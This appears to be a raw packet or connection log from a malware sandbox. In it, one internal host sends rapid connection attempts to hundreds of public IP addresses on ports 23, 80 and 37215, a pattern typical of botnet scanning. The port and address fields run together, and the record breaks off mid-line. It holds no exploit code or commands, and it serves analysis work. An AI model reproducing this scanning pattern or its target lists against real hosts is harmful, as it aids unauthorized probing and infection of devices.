                                                          Dec 3, 2024 23:16:44.382847071 CET4060223192.168.2.2378.240.106.65
                                                          Dec 3, 2024 23:16:44.382847071 CET4840880192.168.2.23211.227.175.197
                                                          Dec 3, 2024 23:16:44.382853985 CET4060223192.168.2.23223.45.235.71
                                                          Dec 3, 2024 23:16:44.382855892 CET4060223192.168.2.2369.111.25.252
                                                          Dec 3, 2024 23:16:44.382862091 CET4060223192.168.2.2390.216.82.48
                                                          Dec 3, 2024 23:16:44.382868052 CET4060223192.168.2.2323.193.233.19
                                                          Dec 3, 2024 23:16:44.382874012 CET4060223192.168.2.23129.86.74.174
                                                          Dec 3, 2024 23:16:44.382874012 CET4060223192.168.2.2383.28.123.77
                                                          Dec 3, 2024 23:16:44.382874012 CET4060223192.168.2.23116.96.163.89
                                                          Dec 3, 2024 23:16:44.382874966 CET4060223192.168.2.2351.211.100.227
                                                          Dec 3, 2024 23:16:44.382874966 CET4060223192.168.2.2335.138.89.26
                                                          Dec 3, 2024 23:16:44.382879019 CET4060223192.168.2.23106.177.157.161
                                                          Dec 3, 2024 23:16:44.382885933 CET4060223192.168.2.23123.252.140.20
                                                          Dec 3, 2024 23:16:44.382889032 CET4060223192.168.2.2386.15.42.54
                                                          Dec 3, 2024 23:16:44.382898092 CET4060223192.168.2.23200.175.139.143
                                                          Dec 3, 2024 23:16:44.382905006 CET4060223192.168.2.23170.87.74.29
                                                          Dec 3, 2024 23:16:44.382913113 CET4060223192.168.2.2376.184.107.222
                                                          Dec 3, 2024 23:16:44.382925987 CET4060223192.168.2.23172.9.161.116
                                                          Dec 3, 2024 23:16:44.382936001 CET4060223192.168.2.23196.18.149.151
                                                          Dec 3, 2024 23:16:44.382958889 CET4060223192.168.2.2389.98.84.31
                                                          Dec 3, 2024 23:16:44.382960081 CET4060223192.168.2.2352.73.88.213
                                                          Dec 3, 2024 23:16:44.382962942 CET4060223192.168.2.23212.138.79.174
                                                          Dec 3, 2024 23:16:44.382970095 CET4060223192.168.2.23162.54.200.112
                                                          Dec 3, 2024 23:16:44.382975101 CET4060223192.168.2.2345.25.171.59
                                                          Dec 3, 2024 23:16:44.382977009 CET4060223192.168.2.23181.160.189.176
                                                          Dec 3, 2024 23:16:44.382991076 CET4060223192.168.2.23142.152.38.47
                                                          Dec 3, 2024 23:16:44.382999897 CET4060223192.168.2.23142.206.136.135
                                                          Dec 3, 2024 23:16:44.382999897 CET4060223192.168.2.23118.62.182.95
                                                          Dec 3, 2024 23:16:44.383004904 CET4060223192.168.2.23188.117.184.178
                                                          Dec 3, 2024 23:16:44.383014917 CET4060223192.168.2.23100.192.149.2
                                                          Dec 3, 2024 23:16:44.383014917 CET4060223192.168.2.2377.152.216.97
                                                          Dec 3, 2024 23:16:44.383042097 CET4060223192.168.2.23212.73.193.188
                                                          Dec 3, 2024 23:16:44.383043051 CET4060223192.168.2.23198.105.236.145
                                                          Dec 3, 2024 23:16:44.383043051 CET4060223192.168.2.23186.28.25.78
                                                          Dec 3, 2024 23:16:44.383044004 CET4060223192.168.2.23190.162.42.164
                                                          Dec 3, 2024 23:16:44.383044958 CET4060223192.168.2.23124.143.47.144
                                                          Dec 3, 2024 23:16:44.383049011 CET4060223192.168.2.23146.41.74.41
                                                          Dec 3, 2024 23:16:44.383050919 CET4060223192.168.2.2352.146.177.218
                                                          Dec 3, 2024 23:16:44.383069038 CET4060223192.168.2.2368.71.92.38
                                                          Dec 3, 2024 23:16:44.383069038 CET4060223192.168.2.23178.167.162.237
                                                          Dec 3, 2024 23:16:44.383075953 CET4060223192.168.2.234.188.158.206
                                                          Dec 3, 2024 23:16:44.383078098 CET4060223192.168.2.23183.82.96.27
                                                          Dec 3, 2024 23:16:44.383086920 CET4060223192.168.2.2332.214.241.122
                                                          Dec 3, 2024 23:16:44.383099079 CET4060223192.168.2.23131.53.82.241
                                                          Dec 3, 2024 23:16:44.383101940 CET4060223192.168.2.23141.60.134.129
                                                          Dec 3, 2024 23:16:44.383105040 CET4060223192.168.2.23107.43.206.44
                                                          Dec 3, 2024 23:16:44.383130074 CET4060223192.168.2.2399.107.1.148
                                                          Dec 3, 2024 23:16:44.383131981 CET4060223192.168.2.2324.90.233.142
                                                          Dec 3, 2024 23:16:44.383132935 CET4060223192.168.2.23185.84.135.133
                                                          Dec 3, 2024 23:16:44.383136988 CET4060223192.168.2.23185.71.61.87
                                                          Dec 3, 2024 23:16:44.383137941 CET4060223192.168.2.2397.131.90.141
                                                          Dec 3, 2024 23:16:44.383143902 CET4060223192.168.2.2396.208.124.213
                                                          Dec 3, 2024 23:16:44.383147955 CET4060223192.168.2.23104.121.163.18
                                                          Dec 3, 2024 23:16:44.383157969 CET4060223192.168.2.239.237.231.74
                                                          Dec 3, 2024 23:16:44.383157969 CET4060223192.168.2.23195.42.62.111
                                                          Dec 3, 2024 23:16:44.383160114 CET4060223192.168.2.23121.221.149.108
                                                          Dec 3, 2024 23:16:44.383163929 CET4060223192.168.2.23100.42.130.61
                                                          Dec 3, 2024 23:16:44.383177042 CET4060223192.168.2.2390.36.170.184
                                                          Dec 3, 2024 23:16:44.383179903 CET4060223192.168.2.2369.17.147.153
                                                          Dec 3, 2024 23:16:44.383183956 CET4060223192.168.2.2387.181.160.148
                                                          Dec 3, 2024 23:16:44.383194923 CET4060223192.168.2.2325.2.5.7
                                                          Dec 3, 2024 23:16:44.383209944 CET4060223192.168.2.23144.37.31.165
                                                          Dec 3, 2024 23:16:44.383209944 CET4060223192.168.2.23123.66.125.91
                                                          Dec 3, 2024 23:16:44.383222103 CET4060223192.168.2.2342.118.199.97
                                                          Dec 3, 2024 23:16:44.383228064 CET4060223192.168.2.23106.198.142.152
                                                          Dec 3, 2024 23:16:44.383241892 CET4060223192.168.2.2338.187.77.184
                                                          Dec 3, 2024 23:16:44.383241892 CET4060223192.168.2.23101.90.203.221
                                                          Dec 3, 2024 23:16:44.383244991 CET4060223192.168.2.2377.87.82.246
                                                          Dec 3, 2024 23:16:44.383260965 CET4060223192.168.2.23196.33.178.136
                                                          Dec 3, 2024 23:16:44.383534908 CET5059480192.168.2.23219.135.74.124
                                                          Dec 3, 2024 23:16:44.384188890 CET4378880192.168.2.23122.213.128.42
                                                          Dec 3, 2024 23:16:44.384857893 CET4585280192.168.2.23181.102.255.131
                                                          Dec 3, 2024 23:16:44.385500908 CET4283280192.168.2.23209.92.96.31
                                                          Dec 3, 2024 23:16:44.386230946 CET3995880192.168.2.2364.239.90.85
                                                          Dec 3, 2024 23:16:44.386854887 CET5005480192.168.2.2394.118.82.104
                                                          Dec 3, 2024 23:16:44.387412071 CET4923080192.168.2.2338.183.33.190
                                                          Dec 3, 2024 23:16:44.387952089 CET4443480192.168.2.2381.22.98.221
                                                          Dec 3, 2024 23:16:44.388489008 CET5521880192.168.2.23147.122.234.119
                                                          Dec 3, 2024 23:16:44.389067888 CET4963680192.168.2.23164.90.130.102
                                                          Dec 3, 2024 23:16:44.389260054 CET4059737215192.168.2.2341.65.200.4
                                                          Dec 3, 2024 23:16:44.389291048 CET4059737215192.168.2.23197.111.20.44
                                                          Dec 3, 2024 23:16:44.389306068 CET4059737215192.168.2.23156.70.92.126
                                                          Dec 3, 2024 23:16:44.389307976 CET4059737215192.168.2.23156.255.159.144
                                                          Dec 3, 2024 23:16:44.389307976 CET4059737215192.168.2.23156.73.171.169
                                                          Dec 3, 2024 23:16:44.389316082 CET4059737215192.168.2.23197.107.185.125
                                                          Dec 3, 2024 23:16:44.389317036 CET4059737215192.168.2.23156.161.162.238
                                                          Dec 3, 2024 23:16:44.389317036 CET4059737215192.168.2.23197.34.159.203
                                                          Dec 3, 2024 23:16:44.389319897 CET4059737215192.168.2.23156.100.42.190
                                                          Dec 3, 2024 23:16:44.389322996 CET4059737215192.168.2.23156.191.222.53
                                                          Dec 3, 2024 23:16:44.389326096 CET4059737215192.168.2.2341.96.150.251
                                                          Dec 3, 2024 23:16:44.389331102 CET4059737215192.168.2.23156.186.180.34
                                                          Dec 3, 2024 23:16:44.389334917 CET4059737215192.168.2.23156.108.244.245
                                                          Dec 3, 2024 23:16:44.389336109 CET4059737215192.168.2.23156.104.115.30
                                                          Dec 3, 2024 23:16:44.389345884 CET4059737215192.168.2.2341.3.211.62
                                                          Dec 3, 2024 23:16:44.389360905 CET4059737215192.168.2.23197.105.184.70
                                                          Dec 3, 2024 23:16:44.389364004 CET4059737215192.168.2.23156.195.210.224
                                                          Dec 3, 2024 23:16:44.389364958 CET4059737215192.168.2.23197.14.40.176
                                                          Dec 3, 2024 23:16:44.389367104 CET4059737215192.168.2.23156.74.95.145
                                                          Dec 3, 2024 23:16:44.389385939 CET4059737215192.168.2.23156.242.49.182
                                                          Dec 3, 2024 23:16:44.389391899 CET4059737215192.168.2.2341.1.26.50
                                                          Dec 3, 2024 23:16:44.389406919 CET4059737215192.168.2.23197.189.229.182
                                                          Dec 3, 2024 23:16:44.389411926 CET4059737215192.168.2.2341.51.194.161
                                                          Dec 3, 2024 23:16:44.389414072 CET4059737215192.168.2.23197.216.46.60
                                                          Dec 3, 2024 23:16:44.389415026 CET4059737215192.168.2.23156.193.167.85
                                                          Dec 3, 2024 23:16:44.389425993 CET4059737215192.168.2.23156.71.24.160
                                                          Dec 3, 2024 23:16:44.389425993 CET4059737215192.168.2.2341.163.61.85
                                                          Dec 3, 2024 23:16:44.389434099 CET4059737215192.168.2.23156.18.126.228
                                                          Dec 3, 2024 23:16:44.389450073 CET4059737215192.168.2.2341.217.207.188
                                                          Dec 3, 2024 23:16:44.389451981 CET4059737215192.168.2.2341.131.44.75
                                                          Dec 3, 2024 23:16:44.389451981 CET4059737215192.168.2.23156.97.239.217
                                                          Dec 3, 2024 23:16:44.389450073 CET4059737215192.168.2.23156.18.195.41
                                                          Dec 3, 2024 23:16:44.389452934 CET4059737215192.168.2.2341.22.120.163
                                                          Dec 3, 2024 23:16:44.389453888 CET4059737215192.168.2.23197.109.18.168
                                                          Dec 3, 2024 23:16:44.389458895 CET4059737215192.168.2.2341.87.174.14
                                                          Dec 3, 2024 23:16:44.389480114 CET4059737215192.168.2.23156.202.65.203
                                                          Dec 3, 2024 23:16:44.389508009 CET4059737215192.168.2.23156.232.154.169
                                                          Dec 3, 2024 23:16:44.389508009 CET4059737215192.168.2.2341.165.106.239
                                                          Dec 3, 2024 23:16:44.389509916 CET4059737215192.168.2.23156.146.200.167
                                                          Dec 3, 2024 23:16:44.389528036 CET4059737215192.168.2.23197.37.154.233
                                                          Dec 3, 2024 23:16:44.389528036 CET4059737215192.168.2.23197.102.134.215
                                                          Dec 3, 2024 23:16:44.389528036 CET4059737215192.168.2.23197.184.32.229
                                                          Dec 3, 2024 23:16:44.389529943 CET4059737215192.168.2.23197.235.45.222
                                                          Dec 3, 2024 23:16:44.389528990 CET4059737215192.168.2.2341.80.85.174
                                                          Dec 3, 2024 23:16:44.389549017 CET4059737215192.168.2.23156.79.20.110
                                                          Dec 3, 2024 23:16:44.389554977 CET4059737215192.168.2.2341.66.10.42
                                                          Dec 3, 2024 23:16:44.389555931 CET4059737215192.168.2.2341.161.163.129
                                                          Dec 3, 2024 23:16:44.389555931 CET4059737215192.168.2.23197.38.149.91
                                                          Dec 3, 2024 23:16:44.389556885 CET4059737215192.168.2.2341.151.136.65
                                                          Dec 3, 2024 23:16:44.389559031 CET4059737215192.168.2.23156.12.202.114
                                                          Dec 3, 2024 23:16:44.389564037 CET4059737215192.168.2.23197.74.234.170
                                                          Dec 3, 2024 23:16:44.389573097 CET4059737215192.168.2.23156.112.196.216
                                                          Dec 3, 2024 23:16:44.389580965 CET4059737215192.168.2.2341.184.4.166
                                                          Dec 3, 2024 23:16:44.389591932 CET4059737215192.168.2.2341.44.144.2
                                                          Dec 3, 2024 23:16:44.389594078 CET4059737215192.168.2.23156.102.203.81
                                                          Dec 3, 2024 23:16:44.389597893 CET4059737215192.168.2.23156.6.201.57
                                                          Dec 3, 2024 23:16:44.389597893 CET4059737215192.168.2.2341.19.160.14
                                                          Dec 3, 2024 23:16:44.389619112 CET4059737215192.168.2.2341.69.4.4
                                                          Dec 3, 2024 23:16:44.389628887 CET4059737215192.168.2.23156.203.5.16
                                                          Dec 3, 2024 23:16:44.389628887 CET4059737215192.168.2.2341.153.71.32
                                                          Dec 3, 2024 23:16:44.389636040 CET4059737215192.168.2.2341.39.208.152
                                                          Dec 3, 2024 23:16:44.389636040 CET4059737215192.168.2.23156.18.246.100
                                                          Dec 3, 2024 23:16:44.389651060 CET4059737215192.168.2.2341.53.31.64
                                                          Dec 3, 2024 23:16:44.389651060 CET4059737215192.168.2.2341.0.189.231
                                                          Dec 3, 2024 23:16:44.389687061 CET4059737215192.168.2.23156.58.194.120
                                                          Dec 3, 2024 23:16:44.389687061 CET4059737215192.168.2.2341.203.136.150
                                                          Dec 3, 2024 23:16:44.389687061 CET4059737215192.168.2.2341.97.85.113
                                                          Dec 3, 2024 23:16:44.389689922 CET4059737215192.168.2.2341.240.40.149
                                                          Dec 3, 2024 23:16:44.389692068 CET4059737215192.168.2.23197.107.52.14
                                                          Dec 3, 2024 23:16:44.389708996 CET4059737215192.168.2.23156.134.191.203
                                                          Dec 3, 2024 23:16:44.389717102 CET4059737215192.168.2.2341.16.136.32
                                                          Dec 3, 2024 23:16:44.389719009 CET4059737215192.168.2.23197.142.236.7
                                                          Dec 3, 2024 23:16:44.389733076 CET4059737215192.168.2.23197.57.253.134
                                                          Dec 3, 2024 23:16:44.389736891 CET4059737215192.168.2.2341.228.35.133
                                                          Dec 3, 2024 23:16:44.389741898 CET4059737215192.168.2.23156.151.145.228
                                                          Dec 3, 2024 23:16:44.389744997 CET4059737215192.168.2.23197.229.16.117
                                                          Dec 3, 2024 23:16:44.389755964 CET4059737215192.168.2.23156.102.95.115
                                                          Dec 3, 2024 23:16:44.389763117 CET4059737215192.168.2.2341.129.69.152
                                                          Dec 3, 2024 23:16:44.389776945 CET4059737215192.168.2.2341.105.183.23
                                                          Dec 3, 2024 23:16:44.389776945 CET4059737215192.168.2.23156.192.63.135
                                                          Dec 3, 2024 23:16:44.389780045 CET4059737215192.168.2.23197.63.191.8
                                                          Dec 3, 2024 23:16:44.389785051 CET5894080192.168.2.23213.7.16.234
                                                          Dec 3, 2024 23:16:44.389801025 CET4059737215192.168.2.2341.8.99.210
                                                          Dec 3, 2024 23:16:44.389806032 CET4059737215192.168.2.23197.54.140.177
                                                          Dec 3, 2024 23:16:44.389821053 CET4059737215192.168.2.2341.105.151.173
                                                          Dec 3, 2024 23:16:44.389822006 CET4059737215192.168.2.23156.87.79.31
                                                          Dec 3, 2024 23:16:44.389822960 CET4059737215192.168.2.23156.140.90.156
                                                          Dec 3, 2024 23:16:44.389827967 CET4059737215192.168.2.2341.144.206.133
                                                          Dec 3, 2024 23:16:44.389838934 CET4059737215192.168.2.23156.247.60.230
                                                          Dec 3, 2024 23:16:44.389839888 CET4059737215192.168.2.23156.140.166.201
                                                          Dec 3, 2024 23:16:44.389841080 CET4059737215192.168.2.23156.215.240.54
                                                          Dec 3, 2024 23:16:44.389846087 CET4059737215192.168.2.23197.112.127.251
                                                          Dec 3, 2024 23:16:44.389856100 CET4059737215192.168.2.23156.0.108.245
                                                          Dec 3, 2024 23:16:44.389864922 CET4059737215192.168.2.23156.247.213.155
                                                          Dec 3, 2024 23:16:44.389880896 CET4059737215192.168.2.23197.28.17.158
                                                          Dec 3, 2024 23:16:44.389885902 CET4059737215192.168.2.2341.249.24.21
                                                          Dec 3, 2024 23:16:44.389895916 CET4059737215192.168.2.23197.66.49.40
                                                          Dec 3, 2024 23:16:44.389895916 CET4059737215192.168.2.23156.44.81.65
                                                          Dec 3, 2024 23:16:44.389903069 CET4059737215192.168.2.2341.148.16.42
                                                          Dec 3, 2024 23:16:44.389910936 CET4059737215192.168.2.23156.169.6.208
                                                          Dec 3, 2024 23:16:44.389910936 CET4059737215192.168.2.2341.234.208.129
                                                          Dec 3, 2024 23:16:44.389921904 CET4059737215192.168.2.23197.193.100.115
                                                          Dec 3, 2024 23:16:44.389921904 CET4059737215192.168.2.23156.193.85.66
                                                          Dec 3, 2024 23:16:44.389923096 CET4059737215192.168.2.2341.232.167.129
                                                          Dec 3, 2024 23:16:44.389921904 CET4059737215192.168.2.2341.207.144.144
                                                          Dec 3, 2024 23:16:44.389945984 CET4059737215192.168.2.23197.51.26.173
                                                          Dec 3, 2024 23:16:44.389946938 CET4059737215192.168.2.23156.23.253.15
                                                          Dec 3, 2024 23:16:44.389946938 CET40597